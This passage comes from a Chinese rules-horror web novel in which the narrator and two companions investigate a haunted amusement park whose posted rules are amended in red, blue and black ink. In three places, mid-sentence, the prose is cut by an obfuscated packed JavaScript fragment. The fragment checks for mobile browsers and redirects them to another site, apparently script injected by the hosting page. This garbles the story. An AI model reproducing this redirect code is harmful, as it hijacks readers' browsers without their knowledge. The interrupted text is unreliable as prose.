我一边吐槽,一边又仔细观察了一下被黑色签字笔涂黑的部分,确信自己没办法看到签字笔覆盖下原本的字迹了。 “你的灵能力是什么?”我转头问乐语。 乐语有点意外,很快又想起来我已经失去记忆,回道:“对纸的控制。” “那正好。”我指着字迹,“那你能不能把这个黑色签字笔的印迹去掉?” 乐语看看字迹,又看看我,认真道:“那不是控制纸,那是控制墨迹。” 他说得很有道理,令人无法反驳。 我和乐语说话这会儿,姚千仍然盯着那张纸,突然道:“这个红色的指痕……不是指纹。” 我转头,看到姚千将自己的手指虚置在那道指纹的上方。 “正常人类的指纹间,不会有这么大的间隔。按照这个图案上的纹路,对应的手掌至少应该有30厘米的直径。” 确实正如姚千所说,这个图案上的指纹纹路宽得惊人,近乎是姚千的两倍。 的确不是人类的指纹。 25. 风铃游乐园游客守则04 沿着公园设置的道路,我们一路朝游乐园内部走去。一路上草木成荫、风景优美,我久违地呼吸到带着泥土和草木芬芳的气味,心情愉快。 走出大约五分钟,眼前便出现了一个岔路,我们选择了左侧的那条,又走出几分钟,前方钢铁建筑的曲折轮廓从树木间逐渐显现出来——正如地图的标识,这里是一座过山车。 一件穿着红色马甲的黑袍挂在过山车入口旁,随风轻摆。 我凑到近前刚想仔细观察,这套黑袍却突地动起来,形态犹如一个抽搐的人类,身形诡谲,猛然突进,若不是我后退半步,近乎要贴到我的眼前。 兜帽里面露出一点儿白白的圆形,像是看向着我的一团白眼,掺着像人又不像人的血丝,俯视着我。 还眨了眨。 我脑子里空白半秒,惊吓刺激我的吐槽欲望,我将我的脑子瞬间填满。不是吧这裹在黑袍里带着一只眼睛的枯干棍子就是工作人员?这可以叫做人类吗?按照前面规则里的描述,就算有五条腿,那至少也具有一些人类的特征啊? 眼前的衣架究竟算什么! 压住心头惊涛骇浪,我扯扯嘴角,露出客气的微笑,朝这位衣架搭讪:“哈喽,工作呢?” 衣架员工回出了呼哧呼哧的声音。 这声音有点像是风吹动物品所发出的声响,又比之更加抑扬顿挫一点——只有一点,跟幻觉一样可以忽略不计。 感觉像在我面前洋洋洒洒说了好几句,虽然我一句也没听懂。 我转身问后面的两位:“你们听懂了吗?” 姚千乐语一起摇头。 看来的确不是我漏掌握了一门语言。 见我不回应,衣架员工仿佛有些激动,朝前半米,试图拉进我们两个非人的距离。 一道风墙拦在我面前,姚千隔开我和衣架员工。 衣架员工似乎无法意识到这堵无形的墙壁到底是什么,蹭到上面,研究一般地停在那里,那只单独的白色眼睛不断颤抖一会儿,进行了一个180度的大转动,不再理会我。 我侧身两步,渐渐远离他,视线却仍然落在衣架员工的身上。他的斗篷带着一个口袋,一支笔松垮地半挂在上面。 随着他在空气墙上的磨蹭,这只笔啪嗒一声掉下来。 我上前拾起——是一只蓝色的中性笔。 “蓝色的笔,”我自言自语道,“刚才邓科长说的,可以将我们救出去的工作人员,携带的笔是红色的。” 显然这个带着蓝色笔的衣架并不符合这个条件。不过很令我感到好奇的是,难道随身携带笔也是这个游乐园的规定之一? 结合乐园门口被黑红蓝三种颜色涂抹的规则,笔的颜色是否代表了一种立场?这些工作人员又要用这支笔做什么? 我怀疑地看了看眼前这个工作人员一眼——它甚至都没长出类似手的、能够使用这支笔的部件。 衣架转头,白色眼睛的目光和我深情对视三秒,好像没察觉到自己的笔已经落入我手,转头继续和空气墙斗智斗勇。 看来这支笔他是不要了,我将圆珠笔揣进自己兜里。 另一边,乐语已经在过山车的进入口外看到了一纸张贴的规则。 我也凑上去看。 风铃游乐园游客守则【过山车设施】 1、本游乐园过山车安全可靠,有工作人员定期安检,请放心乘坐。 2、本过山车无需工作人员启动,请自行按动过山车入口处按钮,并在5分钟内入座并系好安全带。 3、请确保您在到达过山车较高位置时,双眼紧闭。如果睁开眼睛,请忘记你所看到的。 4、过山车设置有隧道,隧道里未设置灯,这是乐园内正常设计。如果在黑暗中感到有物品的触碰,请不要深究,毕竟车上的乘客永远都不会只剩下一个。(后一句话为黑色签字笔手写) 5、如果在乘坐过山车过程中,听到有不应出现在这里的声音,请立刻(此处原本字迹被红笔划掉,并补上了字)捂住耳朵。 6、请确保您的安全带完全系好,请待过山车完全静止后,再试图解开它们。 7、(蓝色)本游乐园经费有限,过山车一天只能乘坐一次,请游客珍惜游玩机会,祝您游玩愉快。 这最后一条不仅颜色不同,连字迹也歪歪扭扭,书写的位置也紧挨着上一条,和前6条有明显的不同,明显是后补出来的。 但即便是错的,目前来看也无伤大雅。只要不一天之内乘坐两次过山车,就不会违反蓝色签字笔所书写的内容。非要说的话,还是黑色签字笔和红色签字笔所补充的内容看起来比较可疑。 黑色签字笔的内容明显暗示过山车上存在着游客以外的东西,但从其描述来看,这种存在危险性并不算太大。 蓝色签字笔修改的内容则更加要紧——“请立刻”后面所接的显然是事关游客安全的明确指令,一旦有错误,就会立刻触犯规则。 “三种颜色的笔,各自做出了不同的修改。”我转动着手上的蓝笔,“在进入园区的总规则上,也同样是这三种颜色……而且相同颜色间似乎还具有某种共性。” 乐语接上我的话:“最明显的一点是,蓝色字迹所写的内容相对于红色和黑色,相对潦草。” 我看一眼远处还在研究空气墙壁的衣架子:“如果说蓝色字迹对应的都是这样的工作人员……要求他们写一手好字,是有点强人所难了。” 只不过我们现在还只见过这么一个,还不好下结论。 我一边想着,一边将手中的蓝色笔拧开盖,提笔落在了眼前这张规则上。 不、要、回、应。 这是我有意识以来第一次提笔写字,虽然知道字是怎么写的,但真的动起手来还是略显生疏,何况是在这样一块竖起来的板子上写,最后的成品歪歪扭扭,但看上去至少也比蓝色字迹要好上不少。 我突然的举动显然把乐语吓到了,这人想伸手阻止我但又怕打扰了我的计划,胳膊悬在半空要动不动的,最后憋出来四个字:“你干什么?” “练练笔。”我打量自己的杰作,“怎么样?” 姚千倒是对我的行为表现淡定,还站在一边做评价:“从笔迹颜色来看,这支笔和这张和还有之前园规上的蓝色基本都是一致的。虽然不一定是同一支笔写的,但也应该是类似的型号。” “又或者,这个游乐园的超市,只出售这一种型号的蓝色圆珠笔也说不定。” 我将蓝色圆珠笔放回自己的口袋,慢条斯理道,“没有禁止则是自由。园规没有说不可以在规则上写字,就说明这种纸上是可以由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14240532|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们游客留下字迹的。” “但可惜的是,我们所见过的这两个规则,看上去都太新了。就算这个灵域中不存在下雨这种可以直接将纸浇透的天气,就这样放在太阳下又吹又晒,也根本坚持不了太长时间。” 我戳了戳眼前的纸,“这张纸存在的时间不会太长。或许,这里的规则经常遭到修改——又或者,这个乐园的规则,本来就常常改变。” “我们现在看到的红色蓝色字迹,都是不久前才写下的。根据今天邓科长提到的,已经没有驱灵师进入了,灵域外也很久没有发现过失踪人员的尸体。” “也就是说,这里已经很久没有过游客。”我笑了一下,“上面的这些字迹,虽然可以是游客留下的,但现在看来,应该都不是。” “这是工作人员,或者游乐园的主人所留下的。” “好,规则也读完了,现在是游戏时间。” 我转头,兴致高昂看向身边两人,“你们谁想坐过山车吗?” 两人都没异议,最后是我和乐语进了过山车的大门。 “不是三个人一起,是出于安全考虑,还是你觉得希望姚千能从第三视角观察到什么?” 乐语跟着我走进过山车里,在我身后问道。 “都不是。”我打量着过山车看上去颇有些年代感的塑料,摇了摇头,“很快你就会知道为什么了。” 乐语耸肩,似乎是笑了一下:“真是熟悉的风格,要不是你的字变丑了,我真会怀疑你是不是真的失忆了。” “呵呵,如假包换。”我说,“骗你的话,等会儿坐过山车突然飞进来一只鸟把我脑袋砸成失忆。” “你也太不真诚了,”乐语说,“游乐园里根本没有鸟。” “也不一定,”我说,“真的鸟没有,那个规则里所谓的黑框,说不定也能变成鸟呢?” “……也行。” 为了方便观察情况,我坐后排,乐语坐前排,斜角而坐。姚千在门口按下按钮,五分钟后,随着陈旧机器所发出的钢铁咯噔声,我和乐语身下的这架过山车,终于开始缓缓运行起来。 嘈杂缓慢的平直运动,带来一种山雨欲来的氛围。尽管还没出现任何异常,我却不由自主地紧张起来,全身感官被敏感地调动,警觉地视察着周围。 过山车稳定运行,朝着高处进发。近乎垂直的角度很快将过山车带到了十几米之上,在下意识朝下看去的前一秒,我闭上了双眼。 ——请确保您在到达过山车较高位置时,双眼紧闭。如果睁开眼睛,请忘记你所看到的。 黑暗放大了视觉之外的一切感官,我突然想到,或许闭上眼睛并非是要防止看到什么不好的东西——而是在于,十几米的高度,其实足以俯瞰游乐园的小半区域。 如此朝下看去,游乐园入园处的半个园区,恐怕都可以尽收眼底。 这是否正是灵域主人所不想让游客知道的? 思维被瞬间打断,强劲的风和骤然出现的失重感将我整个包裹,过山车从上而下锐利地俯冲,营造出类似坠落的恐怖体感,我被巨大的惯性限制住身形,动弹不得。 在这样激烈的运动之下,我原本应该被重力吸引走一切注意力。 然而就在这一刻,我清晰地感觉到,有什么,从后面握住了我的小臂。 26. 风铃游乐园游客守则05 不是乐语。乐语坐在我的前面,而这只手,明显是从后面伸过来的。 冰冷,坚硬,类似于手指的形状——却又比人类的手指要更大,更圆,更光滑,带来的压迫感更加清晰。 我下意识睁开眼睛朝后看去,却什么也没看到。 视线又转向小臂,触感已然消失,其上没有被握过的痕迹。这也正常,毕竟握我小臂的那只手力度并不大,并不像是能留下痕迹。 过山车的运行才刚到一半,第一次抬升带来的几次急坠已经结束,现在进入后半程第二次的抬升,这次还没等升到顶端,我就提前闭上了眼睛。 闭上眼睛的同一时刻,古怪的窸窣声音响起在了我的耳边。 和带着生锈味道钢铁机器的声音截然不同,这声音细密轻盈,像是某种织物的摩擦,却又比我能想象出的寻常织物更加粗糙坚硬。 未知的、古怪的、高频率的摩擦声出现在耳边,挨着我刚刚化成实体不超过两小时的脑袋,仿佛下一秒,那种织物就要蹭上我的头发,贴紧我的头皮。 ——5、如果在乘坐过山车过程中,听到有不应出现在这里的声音,请立刻……捂住耳朵。 细密噪音出现的瞬间,无暇判断红色签字笔所书是否真实,我就像是猛然拽住一根救命稻草,捂住了耳朵。 不对—— 捂住耳朵的同一时间,我心中骇然,警铃大作! 古怪声音惊涛海浪一般骤然增大,我像是被噪音形成的海浪打翻,整个人卷入噪音之中,连过山车已然从顶点迅速坠下也无暇发觉。 有什么错了。 我放下双手,任由巨大声音穿过耳朵,直直钻入耳道,填满我的大脑。 这一瞬间,我仿佛理解了这混乱不堪的噪音所传递来的信息,虽然它们实际上并没有形成什么具有规律频率的语言,但我还是听懂了。 ——你听到了。 未知的存在在对我呢喃着:你听到了。 过山车逐渐减速,车轮咣当咣当,归于寂静。终点到了。 从始至终也不过花了两分钟时间,而我睁开眼伸手去摸索自己身上的安全带时,才发现自己的手心不知何时已经是湿漉漉一片。 “你感觉到什么异常了吗?”我解开安全带,问乐语。 “有什么声音,不太清楚,好像是从后面传过来的。”乐语已经先一步解开了安全带,转过头看我,“应该是从你身边的位置传出来的,我还在犹豫是否遵从红色笔迹所说的捂住耳朵时,声音又消失了。” “果然如此。” 两分钟后,再次站在过山车规则牌面前的我,掏出笔,将“捂住耳朵”四个字抹掉了。 “这个规则是错误的。”我道,“在过山车上,听到声音本身并不是一种伤害——声音是一种试探,在试探我是不是能听到。” “看起来,那个存在并不确定我是否可以感应到它——就像是出现在窗外的班主任,你装作没有看到它,就说明你正在心无旁骛地学习,可一旦你和他对视,你惨了,对视本身就证明你在开小差。” 乐语噗嗤一声乐了:“……这什么比方。” “话糙理不糙,反正就是这个意思。”我做总结,“你看不到那个存在,你就是安全的,你一旦表现出能够看到它,你就会成为被攻击的对象。” “所以,乐语你没有反应,正说明你听不到那个声音,于是那个不知名的存在就没有找上你。而我捂住耳朵的瞬间,就已经向那个声音传递了信号。” 说完这些,我对着纸上的规则,再次陷入疑惑,“这样说来,这个红色笔迹所写的‘捂住耳朵’,是在欺骗我们。” 那为什么幸存者又说,带着红色笔的工作人员可以帮助游客? 既然用了红色笔这个形容,说明笔的颜色在这个游乐园里,必然是存在着一定意义的。那么携带着红色笔的工作人员,它们的立场又是什么? 线索太少,一时没有结论,姚千在这时候打断我的思绪,他的视线从刚才就落在我小臂位置:“黑色的手印,有什么异常感觉吗?” 我抬起小臂,看向刚才在过山车上被未知存在抓住的部位。 被那只手抓住时,我潦草地看过一眼,当时小臂上没有出现任何异常。但当那个古怪声音在我耳边放大一次后,我才又注意到,小臂上被抓过的部分,俨然已经出现浓重的黑色,像是中了毒一般,黑色不是沾在皮肤上,却好像是从内而外渗透出来的,中间浓密而外侧浅淡,又像是某种晕染。 “没有感觉。”我抬起小臂再次给两人看,“我在想,这或许是一种印记。” “违反规则的印记?”乐语反应过来。 “嗯。”我的手指在自己小臂上做比划,“如果真是这样的话,之后再违反规则,黑色就会沿着这个手印一圈一圈地向外变浓——类似于积分累加制,到一定程度才会发生不好的事情。” 这样看来,违反规则并不会立刻受到惩罚。这对于试探规则来说,倒是一件好事。 “嗯,好了,现在第一次过山车已经坐完了。”我一边宣布着,一把拽住姚千。 “走吧,你刚才不也打算坐吗?” 刚才让乐语和我一起坐第一次过山车,其原因当然是我还要留一个人陪我坐第二次。 乐语却拦住了我:“我作为经验更丰富的驱灵师,要进行这种挑战规则的危险行为,也应该我去吧?” 他倒是不谦虚。 我没有同意:“但做出这个危险决策的人是我,不是你决定的,不用你管。” “但这方案是经过三个人同意,共同得出的行动方案不是吗?”乐语理所当然道,“既然不是你一个人的决策,当然不应该由你一个人执行。” 我不能苟同:“可作为最先提出来这个意见的人,我有义务对此负责。” 对话你来我往又争执了三个来回,我成功撕下这个人看起来很好说话的面纱,并确信我和乐语根本没有就这个问题达成一致的可能。 呵呵,没想到这家伙看起来和善,却这么固执己见。 乐语见说不动我,转头寻找姚千支持:“你也同意让吉光去?” 姚千看着我俩从正常对话变成争执又逐渐朝着争吵的危险方向演变,表现得像是看过无数次一样,云淡风轻地吐出三个字:“听她的。” 我看了姚千一眼,突然有点怀念起上一次在那个桃源村落的时候了,姚千多好啊,不问原因不提意见,我说什么就是什么,让他干什么他就干什么。 想到这里,我微妙地反思了一秒——本残灵是不是有点太独裁了? 不对,压制反对意见才能叫独裁,和姚千这只能叫配合默契。 我开小差的这几秒功夫,乐语莫名其妙地笑了一声:“怎么回事,这么多年过去了,这场景怎么这么熟悉。” 姚千微微侧头看他,眼睛略眯,不说话,但是能看出来不太高兴,这种不太高兴被压在眉眼间,莫名有点可爱。 “……”感觉他们说的应该是一些遥远的事情了,我没有探究的欲望,最终还是我和姚千一起上了过山车。 有了上一次的经验,这一次倒是没有什么特别波折,我听到有奇怪声音在不远处响起,和上次的远近程度差不多。在我没有捂住耳朵的情况下,这次声音果然没有增大,也没有出现其他的怪异现象。 姚千同样也是如此,据他所说,除了也听到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14253209|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怪异声音外,他也感觉到有什么东西触碰了他,触碰的位置是手背,但和我不同,他的手背上没有留下任何痕迹。显然是因为姚千并没有像我一样被那个存在发现。 “很不错,第二次乘坐基本验证了我的猜想。更重要的是,”我再次站在规则牌前,再次提笔划掉了蓝色笔所书写的第7条规则——过山车一天只能乘坐一次。 “这条由蓝色笔书写的规则,也是错误的。” “也就是说,”乐语皱起眉,“无论是蓝色还是红色的规则,都不可信。” 我们从过山车附近离开时,那排瘦弱的衣架已经对空气墙失去了兴趣,对我们一行三个人也仿佛视若无睹,趴回过山车的围栏上,安静了。 过山车的下一站是全息影院,整个公园里唯一一座地图上有标志的超市也坐落在这里。作为一座游乐园,其实一路走来,能看到几座小商铺或者贩卖小车,只是里面都没有工作人员的存在,也没有商品贩卖。 来到超市附近,终于又见到了穿着红色马甲的人影。 那个人影似乎也见到了我们,头微微朝我们的方向扭动一下,即刻受惊的兔子一般从超市旁窜进了超市里。 好像我们才是灵域里的怪物。 好消息是,这个人影看起来十分的……人。 既没有六条腿也没有两颗头,至于有没有三只眼睛不好说,但肯定比刚才的衣架子像人得多。 我们进入公园时已经是下午,一路到现在,天色已近黄昏,时间也到了五点三十多。根据入门口的规定,六点过后就不能继续参观园区其他景点,需要在超市二楼住宿。 本以为总算要见到能亲切交谈几句的工作人员,然而当我们走进大门,看到的还是一个冷冷清清毫无人味儿的超市。 “居然连个收银员都没有,”我瞅一眼收银台,“哦也是,之前说了,物品的费用已经包含在了门票中。” “这里应该也是具有相关规则的。”姚千一边说着,一边走向超市门口的另一侧,那里的墙上贴着几张色彩不同的纸,大概就是规则所在。 “你们先看着,我在这里转转。” 我说着,朝超市里面走了进去。作为游乐园里唯一一座超市,甚至包含了游客住宿功能的所在,这个超市的规模已经到了普通中型超市的程度,生活用品也种类繁多。 我瞥了一眼包装,生产日期倒是很新鲜,但型号和种类都已经不是这几年的流行款式了,显然和之前那个村落一样,这些物品也是灵域主人的手笔。 摸了摸台子和物品,非常干净,几乎没有半点灰尘,显然是有人经常打扫的。刚才那个过山车其实也是,虽然器械已经相当老化,但座椅和安全带都还相当干净,没有什么明显的灰尘。 这个游乐园虽然空旷荒凉,见不到什么工作人员,却处处是工作人员活动的痕迹。 我一边这样想着,一边继续往前走,很快看到了一架银色的门——这东西我熟,要知道在进入姚千家寄居之前,我最经常生活的区域之一就是城市商超。 这扇陈旧破烂的银色铁门里面显然就是超市仓库,员工也常常会在这个区域活动。 我压低脚步声,走到铁门面前,握紧门把,手臂用力,猛地拉开了面前的铁门。 超市内骤然传出一声压抑的惊呼。 穿着红色马甲的年轻人站在仓库里,从超市传来的灯光恰好将他所在的区域打得光亮。此人愣愣地看着我,手里还捏着半个没吃完的面包,似乎是进餐突然被我打断,惊呼过后忍不住冲我投来埋怨的目光。 “你突然开门干什么?”他面色恼怒地朝我斥责道。 我扯扯嘴角:“那真是……不好意思啊?” 27. 风铃游乐园游客守则06 这工作人员的一声惊呼,将超市那头的姚千和乐语也很快引了过来在。只是他们到这里时,那个工作人员已经携手上的面包夺路逃窜,从仓库后面又打开一道门消失不见了。 我犹豫一秒,让这人就这么跑了 我向姚千乐语简述刚才的情况。 “工作人员原来会害怕游客?”乐语显然也对这个情节莫名其妙。 “这也就是为什么我们到现在为止都见不到正常工作人员的缘故吧。”我将铁门再次关上,看着干净却空荡的超市,“他们在故意躲避。” “所以只有一个丧失了理智的工作人员被我们看到了。”姚千用眼神示意铁门,“刚才你看到的那个工作人员,看上去有异常吗?” “没有。”我声音慢下来,回忆道,“和普通人类没什么区别,但从衣服来看,应该不是我们刚才进超市前看到的那个人影。也就是说,超市里至少存在两个以上的工作人员。” “除此之外……那个年轻人穿的是圆领t恤,脖颈以下的皮肤,有部分的黑色。” 说着,我举起小臂,“和我手上的黑色非常类似。” “也就是说,工作人员同样会违反规则。”乐语恍然。 “很有可能。”我点头,“所以,工作人员之所以躲避我们,或许是因为他们也存在着害怕的东西。” 姚千朝我确认道:“那个年轻人确实穿着红色马甲吗?” “我看得很清楚。”我确定道,“而且短时间内,这个灵域外并没有发现尸体,也就是说除我们之外,已经很久没有人进入了——很久之前进入的人,不太可能直到现在还仍然是游客。” “规则上已经说得很清楚,我们只有三天时间。” “那么三天之后呢?”乐语笑了笑,“变成新的工作人员吗?” “大概吧。”我已经转过身,朝超市的入门处走去,顺便从货架旁拎起一个篮子,开始挑选商品,“我们进入游乐园的门票,说不定就是卖身契,玩上几天,就要花剩下的一辈子给游乐园打工了。” “多么恶毒的买卖啊。”从货架上选走一包没有试过味道的薯片,我唏嘘。 超市门口的规则和游乐园相当类似,挑选完物品,我也认真浏览了一遍。 风铃游乐园游客守则【乐园超市】 1、本超市属于游乐园内部超市,无需额外消费,货架上物品游客可自行取用,物品费用已经包含在门票中。 2、本超市内有蓝色与红色圆珠笔出售,请按需购买。(黑色字迹补充:本店不出售黑色圆珠笔,游乐园中也无其他店铺销售。) 3、下午六点后,请在超市二楼住宿。天黑之后,(蓝色笔迹从上方补充:无论发生什么)请不要尝试下楼。 4、为保险起见,请所有游客居住在同一个房间内。请放心,我们为每一间客房准备了单独的卫生间。 5、天黑之后,请尽快入睡。睡眠可以阻隔(此处又是涂满黑色的两个框)的打扰。 6、小心影子,那未必是属于您的。不要两次接触你的影子,你会是安全的。(红色字迹补充:更不要尝试与它们对视。) 7、再次重申,乐园里没有动物,虫子当然也算。(扭曲的蓝色字迹补充:别打死它们,别接触它们) 和在过山车下看到的告示略有不同,这张规则给我的感觉更加严肃——在过山车规则中出现的诸如“忘记你所看到的”“不要深究”等语句,在这张规则中都没有出现。整篇基本都是“不要”“尽快”“小心”还有“再次重申”这种听起来危险色彩相当浓重的话。 如果说这是游乐设施和超市规则之间的区别,那么很可能说明了一点——夜晚对于游客而言,是十分危险的,这种危险程度还要超过白天在过山车上接触的那些东西。 又或许,黑夜多半正是那些东西的主要生活空间。 看完规则,门外昏黄天光也近乎彻底转暗,时间到了接近6点,在这种规则上实在不太有试探的必要,我们再次确认了携带的必需物品,走上了超市二楼。 和想象中一样,超市二楼也没有工作人员存在的痕迹。二楼的面积和一楼差不多,大厅里有电视沙发,小型吧台上还有饮料和面包可供取用,沿着走廊还能看到浴室、更衣间等标识,看上去工作人员平时也在使用这些物品。 “这么看上去还挺亲切的,感觉一下拉近了和工作人员的距离。”我感慨。 乐语:“这种距离就没有必要拉近了吧?” 继续向里面走,就是供游客所居住的区域,基本是旅馆常见的双人房配置,好在从其他房间拖来一张床倒也不算困难。六点一到,我们三人就紧闭门窗,在二楼搜索了一番。 虫子没发现,我却在沙发靠垫下找到了半张纸,被叠成一块小小的方块,像是揣在兜里不小心掉出来的。 纸上笔迹呈蓝色,有着这个乐园里蓝色笔迹的常有特点:凌乱。值得表扬的是这张纸上的蓝色笔迹同其他蓝色笔迹相较,还算是理智比较充足的那一类。 【超市轮值人员,请遵循以下规则: 1、谨慎行动,不要被游客发现。 2、如不幸被发现,请立刻离开。不要对话,不要对话,不要对话。 3、如游客提出问题,必须回答,不要透露张贴规则外的一切。 4、请每日确定规则张贴在原来的地方。如发现游客的存在,请在他们到来前再次确认。 5、牢记规则,如发现规则破损,请通知管理员。只有管理员持有黑色圆珠笔。 6、不要使用你的蓝色圆珠笔。规则可以修改,但看到这段话的你还没有掌握修改的规律。 7、保持干净,遵守规则,这对于你而言,是重要的条件。 8、记住我们一切行动的中心:帮助游客遵守规则。】 时间已经过了六点,从窗户内往外看去,一片昏暗。除了我们所在的超市二楼,并没有其他亮灯的地方,这间唯一亮着灯的小房间犹如漂浮在黑暗中的孤岛。 手中的纸条已经由姚千和乐语看过,我将摊开在桌上的纸条又抚了抚平:“蓝色字迹,还有第七条的‘不要使用你的蓝色圆珠笔’,很明显这些规则是写给携带蓝色笔的员工的。” “嗯,第六条里也是,”乐语指了指纸上的“蓝色或红色或黑色” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14261978|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,接着我的话道,“也就是说,确实如同我们从幸存者话语中得到的推论,在这个乐园中存在着不同的三种势力,并且以笔的颜色作为区分。” “刚才在一楼见到的那个工作人员,身上有露出携带的笔吗?”姚千问我。 我摇头:“应该是塞在口袋里了,我注意过了,没有看到。” 我有点惋惜:“还是有点太拘束了,既然规则里没有说不能抓捕工作人员,刚才我就应该拿片羽把那位一捆,抓回来了事。” “不必妄自菲薄。”乐语朝我手臂上的黑印瞥一眼,“从进来之后您已经身先士卒,一直冲锋在试探规则的第一线了。” “我觉得你在阴阳怪气。”我一本正经地,“应该不是我的错觉吧。” 乐语点头,用一种恭喜你猜对了的表情笑笑:“当然不是。” 姚千垂眼看我俩一眼,面无表情将话题扯回去:“现在不能确定楼下员工是红色阵营,还是蓝色阵营。可能性一,每个设施中,都有或红色或蓝色阵营,或许还有黑色阵营的工作人员存在。” “也可能,只有蓝色阵营的工作人员,会在每个设施中进行规则标题所谓的‘轮值’。” “嗯,都有可能。” 我指着桌上的纸条,继续道,“那么看规则的具体规定。前几条都是游客相关的,可以解释今天见到工作人员对我们唯恐避之不及的表现。” “这一点,对应了游乐园总则里的第五条,游客可以咨询工作人员。从规则的语气来看,这张纸条上的守则,地位是居于游乐园总则之下的。”姚千道。 “我同意。这或许也表明了这张纸条上,规则制定者的身份。” 我道,“也就是说,在这个蓝色阵营之中,也是存在着阶级——或者说新人和资深者的。写下这份规则的,应该就是资深者,也就是在规则上留下蓝色笔迹的那些人。” 规则上所谓修改的规律,究竟是什么? 管理员又属于什么,蓝色阵营,凌驾于不同颜色阵营之上的其他存在?又或者,和在我小臂上留下痕迹的黑色存在具有某种联系? 思索着这些,我将纸重新折叠,放回身上。 “到时间了,按照规则应该睡觉了。” 房间面积不小,从隔壁房间拖进来一张床,放在进门处,位置也绰绰有余。我选了这张床,简单洗漱过后合衣躺上去,裹进被子,闭上了眼睛。 另外两人也是如此,各自躺上床,关灯,房间陷入静谧,整个游乐园里唯一亮着的孤岛也宣告沉没。 对我而言,睡觉并不是一件容易的事情。作为残灵的我,原本就没有正常人类必须睡觉的习惯,就算需要休息,也和睡觉多有不同。何况现在才晚上六点出头,入睡更是困难。 ——5、天黑之后,请尽快入睡。 但在某些情况下,人实在是很难装睡的。 比如现在,我虽然紧闭着眼睛,但意识清醒,耳朵也暂且没有聋掉。 我的耳畔,正传来属于虫子嗡嗡的飞行声音。 规则在我脑中浮现。 ——7、再次重申,乐园里没有东西,虫子当然也算。 28. 风铃游乐园游客守则07 根据我意识做出的测算,现在距离我闭上眼睛开始装睡,少说也应该过去两个小时了——就算装睡的时间特别难捱,但毕竟我是个无聊过很长时间的残灵,多少也应该有一点免疫,和一点权威。 好吧,就按折半算,也应该过去一个小时了。 那这才几点啊,学校还没放学呢,游乐园里就已经开始闹鬼了是吗?! 脑中激情洋溢的吐槽除了宣泄情绪外并不能起到其他作用。 聒噪声音在我耳边盘桓许久,声音忽大忽小,昭示着这位飞行生物与我距离的或远或近。我绷紧神经,刻意压制呼吸,将自己伪装成一个正在熟睡的人类。 房间里一片寂静,另外两人呼吸平稳,不知道是真的睡着了,还是和我一样尽力在表演。 我怀疑是后者。 开小差并不能完全抵抗虫子给我带来的心理压力,我的大半颗心仍然悬在追踪那只虫子的动向之上。 忽然之间,它不响了。 这不是好事,我思维短暂停滞,心中骇然。 它停在了我的被子上。 从最后的声音推算,它距离我的露在被子外的手,相当近。 很好。现在来一段梦中讫语,再把手圆润地收回被子里,还来得及吗? 虽然我并不认为自己演技很差,但在这种节骨眼上人不能,也实在不应该太过自信。 敌不动,我不动。 我心中念完这句话的瞬间,那只虫动了。 手背窜过一阵麻痒—— 它趴在了我的手上。 漫长的沉默。 有那么几秒,我意识到自己因为忘记呼吸而产生了轻微的缺氧反应。接下来的几分钟里,我全部注意力集中在手背的触觉之上,麻痒位置的变动,昭示着这只虫子在我身体上移动的轨迹。 正如同是盯着一个字时间长了,人会对这个字感到陌生。长时间专注于一段手臂的触感后,我也明显地感觉到,我的整个手臂也似乎要失去了知觉——仿佛所有地方都是痒的,又似乎虫子已经离开,手臂上全无知觉。 正当我纠结着手背上那若有若无的触感到底是不是虫子时,嗡嗡声再次飞了起来。 它飞了。 我心中一松,下一秒,声音即刻放大,朝着我面庞飞来。 这一瞬间,在过山车上的熟悉感觉再次铺天盖地席卷而来,盖过我所有感官,足以令人毛骨悚然的恐惧如同周遭黑暗渗透进入我的身体之中。 我听到了。 这是虫子扇动翅膀的声音,和在过山车上听到的摩擦声并不相同,但在这一秒,却发出了同样频率的声音,足以让我从中辨别出某些信息。 ——你听到了。 它在说:你听到了。 已经被识破到这种地步,我双眼安详地闭着,仍然选择装睡。 我心中已经隐约有了一些猜想,只要我坚持按照规则“请尽快入睡”的描述行动,即便这发出声音的存在知道我在装睡,也奈何不了我。 这和在过山车上不同。我能够明显感觉到,眼前存在散发出的危险气息远胜于白天——在这种情况下试探对方,多少有点找死的嫌疑。 敌不动,我不动。我拿出六字真经,再次默念。 那存在却仿佛能够听到我的心声。 扇动翅膀的声音静止几秒,积蓄力量一般,突然朝着我双眼猛冲而来。 下意识的反应盖过冷静——再说了任由这玩意儿撞到眼睛上,还不如死了算了! 心念急转,我睁开眼睛的瞬间,片羽由上而下宛如利刃出鞘,循着声音斩过夜色,将虫子拦腰截断,一大片浑浊烟雾骤然炸散在我刚刚展开的视野之中。 